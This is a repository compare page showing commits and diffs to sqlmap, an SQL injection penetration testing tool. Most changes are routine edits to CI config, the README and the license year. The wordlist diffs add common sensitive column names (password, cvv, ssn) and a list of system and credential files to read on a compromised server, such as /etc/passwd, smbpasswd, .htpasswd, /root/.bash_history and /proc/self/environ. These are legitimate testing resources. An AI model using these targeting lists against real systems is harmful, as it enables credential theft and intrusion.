mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
408 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
459130196a | ||
|
|
0a8a65bc0b | ||
|
|
5d370f2fa1 | ||
|
|
1296336e18 | ||
|
|
75b3736467 | ||
|
|
282eb7e533 | ||
|
|
f28d82c119 | ||
|
|
74603c5530 | ||
|
|
050700f079 | ||
|
|
31bf1fc6b6 | ||
|
|
d4d83b29f0 | ||
|
|
596fff48ad | ||
|
|
56ff081314 | ||
|
|
69421b4806 | ||
|
|
3910b86853 | ||
|
|
bbdedb39f9 | ||
|
|
d0be782ece | ||
|
|
16c8673e98 | ||
|
|
1dedc36d85 | ||
|
|
c1d46c95ed | ||
|
|
d5fc2c9350 | ||
|
|
c28ad8fcd8 | ||
|
|
2d06543cac | ||
|
|
6a1e0fb497 | ||
|
|
5c650e15a9 | ||
|
|
c97a814d26 | ||
|
|
a58d08c7e4 | ||
|
|
9c503873ad | ||
|
|
03dfd6b4d5 | ||
|
|
d5a2ffc8ce | ||
|
|
ddf8b1b198 | ||
|
|
9a36357c52 | ||
|
|
667e4d00f2 | ||
|
|
788dcbf077 | ||
|
|
a851dc486a | ||
|
|
9077734ec5 | ||
|
|
7b49c46906 | ||
|
|
317bc0f69c | ||
|
|
c7bdf27542 | ||
|
|
b334b6b742 | ||
|
|
aa812effe7 | ||
|
|
99e2a26a8d | ||
|
|
01edcbf71d | ||
|
|
0b93311ef2 | ||
|
|
4f3f43d8bb | ||
|
|
4582948aac | ||
|
|
3729b76c14 | ||
|
|
a8c3d17583 | ||
|
|
3c36b186ad | ||
|
|
075fa1d4be | ||
|
|
5be407edad | ||
|
|
7ab82de80f | ||
|
|
93399ab1b3 | ||
|
|
87bccf4aa7 | ||
|
|
1c179674d8 | ||
|
|
7a6433b9ef | ||
|
|
4e7f0b10d5 | ||
|
|
0351b4a939 | ||
|
|
3c93872d53 | ||
|
|
881d767df8 | ||
|
|
1156b53eee | ||
|
|
5cacf20eb5 | ||
|
|
1825390951 | ||
|
|
7815f88027 | ||
|
|
f63a92a272 | ||
|
|
e3b3dea46c | ||
|
|
55595edce2 | ||
|
|
aaa0c5c6a8 | ||
|
|
57bb710ae6 | ||
|
|
ce9285381d | ||
|
|
dad4879200 | ||
|
|
2cba4e2d78 | ||
|
|
8ec165d688 | ||
|
|
492fbae7c5 | ||
|
|
a8d81a7962 | ||
|
|
fcb2a6e111 | ||
|
|
2e7333d7c8 | ||
|
|
5fd2598da0 | ||
|
|
111201978c | ||
|
|
41bdb93655 | ||
|
|
6cd0b1120f | ||
|
|
97ccf4ca66 | ||
|
|
8cc516dc5f | ||
|
|
8e39c6fc3d | ||
|
|
d9e540e8b2 | ||
|
|
e0ad99d534 | ||
|
|
5f5ee6ca68 | ||
|
|
7a5538ab3e | ||
|
|
125de093df | ||
|
|
dc6e7321e9 | ||
|
|
1023da405a | ||
|
|
013af3235e | ||
|
|
2a1e812288 | ||
|
|
44b7cc7d17 | ||
|
|
60a2d74f2b | ||
|
|
83fecfc1ba | ||
|
|
86c6e3d5fc | ||
|
|
5eb2263c42 | ||
|
|
7ff77ef052 | ||
|
|
5c82f30fd8 | ||
|
|
3f17dc4747 | ||
|
|
e1502e0cea | ||
|
|
c3fe9a0d47 | ||
|
|
f8b2cb5a0a | ||
|
|
597013477d | ||
|
|
0453a2827c | ||
|
|
0605f14d87 | ||
|
|
176e89d978 | ||
|
|
b7cdcebcea | ||
|
|
1fb1a05a78 | ||
|
|
2d48b8effa | ||
|
|
4ef9557ccd | ||
|
|
3513ca66fe | ||
|
|
6467c63c24 | ||
|
|
f19f38d1d5 | ||
|
|
a0b279848d | ||
|
|
ec80009812 | ||
|
|
19e08416b5 | ||
|
|
6825bf85a4 | ||
|
|
4fa39f4539 | ||
|
|
a989e1abfe | ||
|
|
c71bdf5c9e | ||
|
|
1b92acc033 | ||
|
|
f968b23f63 | ||
|
|
5f39016af7 | ||
|
|
1dd400f93d | ||
|
|
feb1df6a05 | ||
|
|
4772a9243a | ||
|
|
8649021b78 | ||
|
|
9d6c931faa | ||
|
|
264a270985 | ||
|
|
4278bbce11 | ||
|
|
db126af86a | ||
|
|
18b72e605a | ||
|
|
0e4232f533 | ||
|
|
e448905eb1 | ||
|
|
ee7aa68da8 | ||
|
|
2fc4d17cbc | ||
|
|
93aa981e4f | ||
|
|
a4cb6dbb00 | ||
|
|
4e3af35ceb | ||
|
|
5d7b7d6bca | ||
|
|
8ab4f6214f | ||
|
|
8d343fc2a6 | ||
|
|
421f1878e3 | ||
|
|
f21388d550 | ||
|
|
f38a2c2028 | ||
|
|
22bf77161a | ||
|
|
186b3920e7 | ||
|
|
d227413a14 | ||
|
|
70df6d8b22 | ||
|
|
6d05985aef | ||
|
|
8c57b9cd4c | ||
|
|
4cf14c80eb | ||
|
|
615ac3b733 | ||
|
|
b2d6ab2949 | ||
|
|
39be0f30d8 | ||
|
|
6f54be987f | ||
|
|
35fa710eed | ||
|
|
f2518f7112 | ||
|
|
3779531540 | ||
|
|
447e5ec0ea | ||
|
|
d5fab1907d | ||
|
|
ec4880e0e1 | ||
|
|
984808cc26 | ||
|
|
6b1f4965ed | ||
|
|
e8be9e4af4 | ||
|
|
5b1574614d | ||
|
|
2c19d16830 | ||
|
|
60b642e2bd | ||
|
|
20700fd6b9 | ||
|
|
4be7c7dcee | ||
|
|
5ab2dfd0d9 | ||
|
|
f0f1cf1b21 | ||
|
|
b25181f061 | ||
|
|
9f85412017 | ||
|
|
4c804a3fd6 | ||
|
|
d7a56017bf | ||
|
|
ef59a365f4 | ||
|
|
1087396d88 | ||
|
|
1cfe370276 | ||
|
|
3776f2eeea | ||
|
|
a6c26fe792 | ||
|
|
c082067902 | ||
|
|
e37c22793b | ||
|
|
14005f476d | ||
|
|
eb3a3b4825 | ||
|
|
71b33e5956 | ||
|
|
ab203c1ec5 | ||
|
|
e7dd7e2d48 | ||
|
|
89aff21fb6 | ||
|
|
c95c370254 | ||
|
|
239e4d7927 | ||
|
|
dbebb34bc8 | ||
|
|
0e9dd9b0be | ||
|
|
57f17794c4 | ||
|
|
7a0a4c28e5 | ||
|
|
0ea39098bd | ||
|
|
49afd47c13 | ||
|
|
dc9e2df3c6 | ||
|
|
3a048a9e67 | ||
|
|
6b45199766 | ||
|
|
bb51c0e41e | ||
|
|
5d62195a41 | ||
|
|
8ace3363bd | ||
|
|
4606d5afd5 | ||
|
|
e9ec443a8a | ||
|
|
4efd745b5c | ||
|
|
4833e40824 | ||
|
|
e0ecf8c804 | ||
|
|
cf7022b0a0 | ||
|
|
4c5cb9e0d4 | ||
|
|
bcb9482724 | ||
|
|
70e6700eb7 | ||
|
|
884ee56730 | ||
|
|
9ca5dc798e | ||
|
|
c96283a083 | ||
|
|
b4f9bf3f21 | ||
|
|
d52d5f0ddc | ||
|
|
d38acbe347 | ||
|
|
7dae324ed6 | ||
|
|
24aadbd850 | ||
|
|
3145de15d8 | ||
|
|
6e06df3d39 | ||
|
|
f01610b397 | ||
|
|
a5ed4c5255 | ||
|
|
9866e478b9 | ||
|
|
251c8ba064 | ||
|
|
1a95cea1f2 | ||
|
|
38d5086b88 | ||
|
|
7b5a640d1f | ||
|
|
e853508192 | ||
|
|
5d32ca638b | ||
|
|
0c8f6156d2 | ||
|
|
292bdf4479 | ||
|
|
82e6bc64c2 | ||
|
|
ea0ec868e9 | ||
|
|
424d4ee968 | ||
|
|
f4bfa7a5ae | ||
|
|
568ee4669e | ||
|
|
c3a6b71023 | ||
|
|
f7a237fdee | ||
|
|
948903f232 | ||
|
|
20d875a8ce | ||
|
|
f947c5f76e | ||
|
|
1233573df1 | ||
|
|
04ce6ba91b | ||
|
|
c1f98d07c1 | ||
|
|
fddc818764 | ||
|
|
c028fb9003 | ||
|
|
1bfb9efb91 | ||
|
|
7731c6c135 | ||
|
|
989915b91c | ||
|
|
03728a4f20 | ||
|
|
47d2cf0c6c | ||
|
|
ce65733043 | ||
|
|
6ab1cf8caa | ||
|
|
78a5573563 | ||
|
|
db2e74a810 | ||
|
|
04708c6d1a | ||
|
|
6823971442 | ||
|
|
adf713d18c | ||
|
|
d8e4eede6e | ||
|
|
862959f27a | ||
|
|
f1000e0d15 | ||
|
|
72443ed875 | ||
|
|
4116ee5f78 | ||
|
|
6e46624fe0 | ||
|
|
9c87671e3a | ||
|
|
d1bb69f917 | ||
|
|
0a266f602c | ||
|
|
9fc856b3a6 | ||
|
|
737c727e56 | ||
|
|
5013f767a1 | ||
|
|
b2a8cb8f77 | ||
|
|
36938f8880 | ||
|
|
99565f2cb3 | ||
|
|
e808496ed3 | ||
|
|
35073ce43b | ||
|
|
7bbeb9e841 | ||
|
|
a0dca74c12 | ||
|
|
1f3a5b4d70 | ||
|
|
d87328f799 | ||
|
|
dfb74ffa84 | ||
|
|
5044894928 | ||
|
|
0a0c696e84 | ||
|
|
0977f6df61 | ||
|
|
f550a2281f | ||
|
|
8fb6268b51 | ||
|
|
531eca7e65 | ||
|
|
cd61a04e5a | ||
|
|
afb3cec133 | ||
|
|
c817a7065e | ||
|
|
f9efc721a9 | ||
|
|
e57e61eccb | ||
|
|
11adf893c3 | ||
|
|
fbde411228 | ||
|
|
348795767c | ||
|
|
be340fcf11 | ||
|
|
6d07d52ccd | ||
|
|
ac9c2f1210 | ||
|
|
45a2d2a83f | ||
|
|
52a70a087e | ||
|
|
87b5be0a5e | ||
|
|
74d3a6d77d | ||
|
|
8296c1ed53 | ||
|
|
6a23c5974f | ||
|
|
2a85dafba8 | ||
|
|
1162aa89fc | ||
|
|
0d140b60f1 | ||
|
|
95c5c20de4 | ||
|
|
e34b73b685 | ||
|
|
7e28c02948 | ||
|
|
aa9ff9e8a6 | ||
|
|
8d877de9b5 | ||
|
|
2bb5ba7fa2 | ||
|
|
8d608dfdfe | ||
|
|
c4ebc23336 | ||
|
|
55d79385cc | ||
|
|
7425d4acfb | ||
|
|
15f94bd671 | ||
|
|
7202bb010c | ||
|
|
77312a8a2e | ||
|
|
60c7fb3e03 | ||
|
|
e6edecb396 | ||
|
|
e78e07d752 | ||
|
|
25541efa44 | ||
|
|
df8fa9cd82 | ||
|
|
7b89613c46 | ||
|
|
f382443ddd | ||
|
|
e58d68c203 | ||
|
|
541cebdce9 | ||
|
|
d193b6e331 | ||
|
|
a9b6a07641 | ||
|
|
39ca71619c | ||
|
|
5f3b397882 | ||
|
|
eb696e17f4 | ||
|
|
8cdc66fdf7 | ||
|
|
72fa5a9c85 | ||
|
|
87f6db467d | ||
|
|
404d8481ad | ||
|
|
9ad3cd5176 | ||
|
|
7eb7bddb25 | ||
|
|
a90324d592 | ||
|
|
6b56715447 | ||
|
|
360d89cecc | ||
|
|
abe31c1fbf | ||
|
|
8ec0c7a691 | ||
|
|
145f87c50d | ||
|
|
dc87e10c99 | ||
|
|
39a46d66e2 | ||
|
|
1b1c37e12c | ||
|
|
adbc4bae5d | ||
|
|
e4a2ac8277 | ||
|
|
c2b929301e | ||
|
|
732267876c | ||
|
|
7a1ecf797b | ||
|
|
fdcde2a2a5 | ||
|
|
6679d6f427 | ||
|
|
bb18c4db09 | ||
|
|
ce9618c307 | ||
|
|
c91fcbb0c7 | ||
|
|
d43f15be38 | ||
|
|
85def6a662 | ||
|
|
fdfcbb9161 | ||
|
|
096953991d | ||
|
|
a660828cec | ||
|
|
273004396c | ||
|
|
1a026e08dc | ||
|
|
e21d4ae344 | ||
|
|
3af15fee60 | ||
|
|
7a6e2df997 | ||
|
|
5c5719b81a | ||
|
|
7c9c6e4a59 | ||
|
|
a422c9bc45 | ||
|
|
4ede1b80a4 | ||
|
|
869adc6fef | ||
|
|
a75ab8b128 | ||
|
|
eec9cca85b | ||
|
|
18d22faacd | ||
|
|
a2ee93344e | ||
|
|
ab2cae3957 | ||
|
|
fd8028bb18 | ||
|
|
1d1da45782 | ||
|
|
8492509919 | ||
|
|
9a624605b6 | ||
|
|
1c3982c32d | ||
|
|
42480ba901 | ||
|
|
d02ee47157 | ||
|
|
8340f8bcad | ||
|
|
6bde50dbdc | ||
|
|
35893c49b8 | ||
|
|
1a5ed610ce | ||
|
|
19925b806b | ||
|
|
4b5927b734 | ||
|
|
1fa81fedf3 | ||
|
|
8407344991 | ||
|
|
17658619dc | ||
|
|
627d99089f | ||
|
|
9b42319d0e | ||
|
|
63c2d2050d | ||
|
|
aed137ad80 | ||
|
|
9fd4a4f0d1 | ||
|
|
57511ac9df | ||
|
|
5f41d94602 | ||
|
|
c8a4e6378f | ||
|
|
08d3228b5f | ||
|
|
5cc36b452e |
19
.travis.yml
19
.travis.yml
@@ -1,13 +1,18 @@
|
||||
language: python
|
||||
dist: trusty
|
||||
sudo: false
|
||||
jobs:
|
||||
include:
|
||||
- python: 2.6
|
||||
dist: trusty
|
||||
- python: 2.7
|
||||
dist: trusty
|
||||
- python: 3.3
|
||||
dist: trusty
|
||||
- python: 3.6
|
||||
dist: trusty
|
||||
- python: 3.9-dev
|
||||
dist: bionic
|
||||
git:
|
||||
depth: 1
|
||||
python:
|
||||
- "2.6"
|
||||
- "2.7"
|
||||
- "3.3"
|
||||
- "3.6"
|
||||
script:
|
||||
- python -c "import sqlmap; import sqlmapapi"
|
||||
- python sqlmap.py --smoke
|
||||
|
||||
2
LICENSE
2
LICENSE
@@ -1,7 +1,7 @@
|
||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||
of the GNU General Public License (GPL) is appended to this file.
|
||||
|
||||
sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||
|
||||
This program is free software; you may redistribute and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
11
README.md
11
README.md
@@ -1,17 +1,17 @@
|
||||
# sqlmap
|
||||
# sqlmap 
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
|
||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||
|
||||
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
|
||||
**The sqlmap project is currently searching for sponsor(s).**
|
||||
|
||||
Screenshots
|
||||
----
|
||||
|
||||

|
||||
|
||||
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
|
||||
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
|
||||
|
||||
Installation
|
||||
----
|
||||
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
|
||||
python sqlmap.py -hh
|
||||
|
||||
You can find a sample run [here](https://asciinema.org/a/46601).
|
||||
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Links
|
||||
----
|
||||
@@ -64,6 +64,7 @@ Translations
|
||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,4 +1,4 @@
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
id
|
||||
@@ -474,6 +474,7 @@ module_addr
|
||||
flag
|
||||
|
||||
# spanish
|
||||
|
||||
usuario
|
||||
nombre
|
||||
contrasena
|
||||
@@ -486,6 +487,7 @@ tono
|
||||
cuna
|
||||
|
||||
# german
|
||||
|
||||
benutzername
|
||||
benutzer
|
||||
passwort
|
||||
@@ -499,6 +501,7 @@ stichwort
|
||||
schlusselwort
|
||||
|
||||
# french
|
||||
|
||||
utilisateur
|
||||
usager
|
||||
consommateur
|
||||
@@ -510,6 +513,7 @@ touche
|
||||
clef
|
||||
|
||||
# italian
|
||||
|
||||
utente
|
||||
nome
|
||||
utilizzatore
|
||||
@@ -521,17 +525,33 @@ chiavetta
|
||||
cifrario
|
||||
|
||||
# portuguese
|
||||
|
||||
usufrutuario
|
||||
chave
|
||||
cavilha
|
||||
|
||||
# slavic
|
||||
|
||||
korisnik
|
||||
sifra
|
||||
lozinka
|
||||
kljuc
|
||||
|
||||
# turkish
|
||||
|
||||
isim
|
||||
ad
|
||||
adi
|
||||
soyisim
|
||||
soyad
|
||||
soyadi
|
||||
kimlik
|
||||
kimlikno
|
||||
tckimlikno
|
||||
tckimlik
|
||||
yonetici
|
||||
sil
|
||||
silinmis
|
||||
numara
|
||||
sira
|
||||
lokasyon
|
||||
@@ -547,7 +567,9 @@ ev_adres
|
||||
is_adresi
|
||||
ev_adresi
|
||||
isadresi
|
||||
isadres
|
||||
evadresi
|
||||
evadres
|
||||
il
|
||||
ilce
|
||||
eposta
|
||||
@@ -605,6 +627,7 @@ kontak
|
||||
kontaklar
|
||||
|
||||
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
||||
|
||||
user
|
||||
pass
|
||||
cc_number
|
||||
@@ -828,6 +851,7 @@ xar_name
|
||||
xar_pass
|
||||
|
||||
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
||||
|
||||
account
|
||||
accnts
|
||||
accnt
|
||||
@@ -897,6 +921,7 @@ user_pwd
|
||||
user_passwd
|
||||
|
||||
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
||||
|
||||
fld_id
|
||||
fld_username
|
||||
fld_password
|
||||
@@ -1049,6 +1074,7 @@ yhmm
|
||||
yonghu
|
||||
|
||||
# site:br
|
||||
|
||||
content_id
|
||||
codigo
|
||||
geometry
|
||||
@@ -1305,6 +1331,7 @@ newssummaryauthor
|
||||
and_xevento
|
||||
|
||||
# site:de
|
||||
|
||||
rolle_nr
|
||||
standort_nr
|
||||
ja
|
||||
@@ -1467,6 +1494,7 @@ summary_id
|
||||
gameid
|
||||
|
||||
# site:es
|
||||
|
||||
catid
|
||||
dni
|
||||
prune_id
|
||||
@@ -1556,6 +1584,7 @@ time_stamp
|
||||
bannerid
|
||||
|
||||
# site:fr
|
||||
|
||||
numero
|
||||
id_auteur
|
||||
titre
|
||||
@@ -1607,6 +1636,7 @@ n_dir
|
||||
age
|
||||
|
||||
# site:ru
|
||||
|
||||
dt_id
|
||||
subdivision_id
|
||||
sub_class_id
|
||||
@@ -1812,6 +1842,7 @@ language_id
|
||||
val
|
||||
|
||||
# site:jp
|
||||
|
||||
dealer_id
|
||||
modify_date
|
||||
regist_date
|
||||
@@ -1943,6 +1974,7 @@ c_commu_topic_id
|
||||
c_diary_comment_log_id
|
||||
|
||||
# site:it
|
||||
|
||||
idcomune
|
||||
idruolo
|
||||
idtrattamento
|
||||
@@ -2446,6 +2478,7 @@ client_img
|
||||
does_repeat
|
||||
|
||||
# site:cn
|
||||
|
||||
typeid
|
||||
cronid
|
||||
advid
|
||||
@@ -2621,6 +2654,7 @@ disablepostctrl
|
||||
fieldname
|
||||
|
||||
# site:id
|
||||
|
||||
ajar
|
||||
akses
|
||||
aktif
|
||||
@@ -2672,9 +2706,23 @@ urut
|
||||
waktu
|
||||
|
||||
# WebGoat
|
||||
|
||||
cookie
|
||||
login_count
|
||||
|
||||
# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
|
||||
|
||||
credit
|
||||
card
|
||||
pin
|
||||
cvv
|
||||
pan
|
||||
password
|
||||
social
|
||||
ssn
|
||||
account
|
||||
confidential
|
||||
|
||||
# Misc
|
||||
|
||||
u_pass
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
||||
@@ -203,6 +203,31 @@
|
||||
/var/www/nginx-default/index.php
|
||||
/srv/www/index.php
|
||||
|
||||
/var/www/config.php
|
||||
/usr/local/apache/config.php
|
||||
/usr/local/apache2/config.php
|
||||
/usr/local/www/apache22/config.php
|
||||
/usr/local/www/apache24/config.php
|
||||
/usr/local/httpd/config.php
|
||||
/var/www/nginx-default/config.php
|
||||
/srv/www/config.php
|
||||
|
||||
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
|
||||
|
||||
/srv/www/htdocs/index.php
|
||||
/usr/local/apache2/htdocs/index.php
|
||||
/usr/local/www/data/index.php
|
||||
/var/apache2/htdocs/index.php
|
||||
/var/www/htdocs/index.php
|
||||
/var/www/html/index.php
|
||||
|
||||
/srv/www/htdocs/config.php
|
||||
/usr/local/apache2/htdocs/config.php
|
||||
/usr/local/www/data/config.php
|
||||
/var/apache2/htdocs/config.php
|
||||
/var/www/htdocs/config.php
|
||||
/var/www/html/config.php
|
||||
|
||||
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
|
||||
|
||||
/etc/passwd
|
||||
@@ -1650,3 +1675,130 @@
|
||||
\web.config
|
||||
\windows\system32\drivers\etc\hosts
|
||||
\windows\win.ini
|
||||
|
||||
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
|
||||
|
||||
/etc/apache2/.htpasswd
|
||||
/etc/apache/.htpasswd
|
||||
/etc/master.passwd
|
||||
/etc/muddleftpd/muddleftpd.passwd
|
||||
/etc/muddleftpd/passwd
|
||||
/etc/passwd
|
||||
/etc/passwd~
|
||||
/etc/passwd-
|
||||
/etc/pureftpd.passwd
|
||||
/etc/samba/private/smbpasswd
|
||||
/etc/samba/smbpasswd
|
||||
/etc/security/opasswd
|
||||
/etc/security/passwd
|
||||
/etc/smbpasswd
|
||||
\Program Files\xampp\apache\conf\httpd.conf
|
||||
/usr/local/pgsql/bin/pg_passwd
|
||||
/usr/local/pgsql/data/passwd
|
||||
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
|
||||
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
|
||||
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
|
||||
/usr/ports/net/pure-ftpd/pureftpd.passwd
|
||||
/var/log/exim_rejectlog/etc/passwd
|
||||
/etc/mysql/conf.d/old_passwords.cnf
|
||||
/etc/password.master
|
||||
/var/www/.lighttpdpassword
|
||||
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
|
||||
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
|
||||
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
|
||||
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
|
||||
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
|
||||
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
|
||||
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
|
||||
/Volumes/webBackup/opt/apache2/conf/httpd.conf
|
||||
/Volumes/webBackup/private/etc/httpd/httpd.conf
|
||||
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
|
||||
|
||||
# Reference: https://pastebin.com/KgPsDXjg
|
||||
|
||||
/etc/passwd
|
||||
/etc/crontab
|
||||
/etc/hosts
|
||||
/etc/my.cnf
|
||||
/etc/.htpasswd
|
||||
/root/.bash_history
|
||||
/etc/named.conf
|
||||
/proc/self/environ
|
||||
/etc/php.ini
|
||||
/bin/php.ini
|
||||
/etc/httpd/php.ini
|
||||
/usr/lib/php.ini
|
||||
/usr/lib/php/php.ini
|
||||
/usr/local/etc/php.ini
|
||||
/usr/local/lib/php.ini
|
||||
/usr/local/php/lib/php.ini
|
||||
/usr/local/php4/lib/php.ini
|
||||
/usr/local/php5/lib/php.ini
|
||||
/usr/local/apache/conf/php.ini
|
||||
/etc/php4.4/fcgi/php.ini
|
||||
/etc/php4/apache/php.ini
|
||||
/etc/php4/apache2/php.ini
|
||||
/etc/php5/apache/php.ini
|
||||
/etc/php5/apache2/php.ini
|
||||
/etc/php/php.ini
|
||||
/usr/local/apache/conf/modsec.conf
|
||||
/var/cpanel/cpanel.config
|
||||
/proc/self/environ
|
||||
/proc/self/fd/2
|
||||
/etc/ssh/sshd_config
|
||||
/var/lib/mysql/my.cnf
|
||||
/etc/mysql/my.cnf
|
||||
/etc/my.cnf
|
||||
/etc/logrotate.d/proftpd
|
||||
/www/logs/proftpd.system.log
|
||||
/var/log/proftpd
|
||||
/etc/proftp.conf
|
||||
/etc/protpd/proftpd.conf
|
||||
/etc/vhcs2/proftpd/proftpd.conf
|
||||
/etc/proftpd/modules.conf
|
||||
/etc/vsftpd.chroot_list
|
||||
/etc/vsftpd/vsftpd.conf
|
||||
/etc/vsftpd.conf
|
||||
/etc/chrootUsers
|
||||
/etc/wu-ftpd/ftpaccess
|
||||
/etc/wu-ftpd/ftphosts
|
||||
/etc/wu-ftpd/ftpusers
|
||||
/usr/sbin/pure-config.pl
|
||||
/usr/etc/pure-ftpd.conf
|
||||
/etc/pure-ftpd/pure-ftpd.conf
|
||||
/usr/local/etc/pure-ftpd.conf
|
||||
/usr/local/etc/pureftpd.pdb
|
||||
/usr/local/pureftpd/etc/pureftpd.pdb
|
||||
/usr/local/pureftpd/sbin/pure-config.pl
|
||||
/usr/local/pureftpd/etc/pure-ftpd.conf
|
||||
/etc/pure-ftpd.conf
|
||||
/etc/pure-ftpd/pure-ftpd.pdb
|
||||
/etc/pureftpd.pdb
|
||||
/etc/pureftpd.passwd
|
||||
/etc/pure-ftpd/pureftpd.pdb
|
||||
/var/log/ftp-proxy
|
||||
/etc/logrotate.d/ftp
|
||||
/etc/ftpchroot
|
||||
/etc/ftphosts
|
||||
/etc/smbpasswd
|
||||
/etc/smb.conf
|
||||
/etc/samba/smb.conf
|
||||
/etc/samba/samba.conf
|
||||
/etc/samba/smb.conf.user
|
||||
/etc/samba/smbpasswd
|
||||
/etc/samba/smbusers
|
||||
/var/lib/pgsql/data/postgresql.conf
|
||||
/var/postgresql/db/postgresql.conf
|
||||
/etc/ipfw.conf
|
||||
/etc/firewall.rules
|
||||
/etc/ipfw.rules
|
||||
/usr/local/etc/webmin/miniserv.conf
|
||||
/etc/webmin/miniserv.conf
|
||||
/usr/local/etc/webmin/miniserv.users
|
||||
/etc/webmin/miniserv.users
|
||||
/etc/squirrelmail/config/config.php
|
||||
/etc/squirrelmail/config.php
|
||||
/etc/httpd/conf.d/squirrelmail.conf
|
||||
/usr/share/squirrelmail/config/config.php
|
||||
/private/etc/squirrelmail/config/config.php
|
||||
/srv/www/htdos/squirrelmail/config/config.php
|
||||
@@ -1,4 +1,4 @@
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
[Banners]
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
users
|
||||
@@ -442,6 +442,7 @@ exchange
|
||||
Status
|
||||
WORKS_ON
|
||||
lines
|
||||
testusers
|
||||
booleantests
|
||||
QRTZ_SIMPLE_TRIGGERS
|
||||
mobile_menu
|
||||
@@ -1618,6 +1619,7 @@ Contributor
|
||||
flag
|
||||
|
||||
# Various Joomla tables
|
||||
|
||||
jos_vm_product_download
|
||||
jos_vm_coupons
|
||||
jos_vm_product_reviews
|
||||
@@ -1711,6 +1713,7 @@ publicusers
|
||||
cmsusers
|
||||
|
||||
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
|
||||
|
||||
blacklist
|
||||
cost
|
||||
moves
|
||||
